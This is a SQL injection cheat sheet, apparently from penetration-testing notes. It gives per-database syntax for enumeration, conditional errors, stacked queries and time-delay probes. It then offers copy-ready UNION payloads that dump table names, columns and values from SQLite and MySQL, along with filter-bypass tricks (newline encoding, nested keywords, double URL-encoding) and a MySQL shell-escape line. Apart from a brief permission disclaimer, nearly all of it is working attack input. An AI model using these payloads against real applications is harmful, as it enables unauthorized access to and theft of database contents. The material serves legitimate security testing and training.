SQL

Hack Responsibly.

Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.

SQLi - SQL Injection

Blind SQL injection UNIoN queries: Ippsec:HacktheBox - Charon use CONCAT("x","x")

SQL Injection Tips

-- -> Comments in Linux --+ -> Comments in Windows %23 (#) -> Hash Symbol %2527 (') -> to bypass urldecode(urldecode(htmlspecialchars(, ENT_QUOTES)));

String concatenation

You can concatenate together multiple strings to make a single string.

Oracle

'foo'||'bar'

Microsoft

'foo'+'bar'

PostgreSQL

'foo'||'bar'

MySQL

'foo' 'bar' [Note the space between the two strings] CONCAT('foo','bar')

Substring

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

Oracle

SUBSTR('foobar', 4, 2)

Microsoft

SUBSTRING('foobar', 4, 2)

PostgreSQL

SUBSTRING('foobar', 4, 2)

MySQL

SUBSTRING('foobar', 4, 2)

Comments

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle

--comment

Microsoft

--comment /*comment*/

PostgreSQL

--comment /*comment*/

MySQL

#comment -- comment [Note the space after the double dash] /*comment*/

Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

Oracle

SELECT banner FROM v$version SELECT version FROM v$instance

Microsoft

SELECT @@version

PostgreSQL

SELECT version()

MySQL

SELECT @@version

Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

Oracle

SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Microsoft

SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

PostgreSQL

SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

MySQL

SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual

Microsoft

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END

PostgreSQL

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END

MySQL

SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Oracle

Does not support batched queries.

Microsoft

QUERY-1-HERE; QUERY-2-HERE

PostgreSQL

QUERY-1-HERE; QUERY-2-HERE

MySQL

QUERY-1-HERE; QUERY-2-HERE

Note: With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracle

dbms_pipe.receive_message(('a'),10)

Microsoft

WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT pg_sleep(10)

MySQL

SELECT sleep(10)

Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

Microsoft

IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

MySQL

SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

Manual UNION SQLite Injection

Table

1' union all select 1,tbl_name,3 FROM sqlite_master WHERE type='table' limit 0,1 --

Columns (as command)

1' union all select 1,sql,3 FROM sqlite_master WHERE type='table' and tbl_name='nameoftable' limit 0,1 --

Values (payload depends on the columns structure)

1' union all select 1,"nameofcolumn",3 FROM "nameoftable" limit 2,1 --

Manual UNION SQL Injection

Table

1' union select (select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),2#

Columns

1' union select (select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='nameoftable'),2#

Values

1' union select (select nameofcolumn from nameoftable limit 0,1),2#

Using Newline

admin %0A union %0A select %0A 1,database()#
           or
admin %0A union %0A select %0A database(),2#

Bypass preg_replace

ununionion select 1,2%23
     or
UNunionION SEselectLECT 1,2,3%23

Misc

get shell in mysql: \! /bin/sh

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Last updated 3 years ago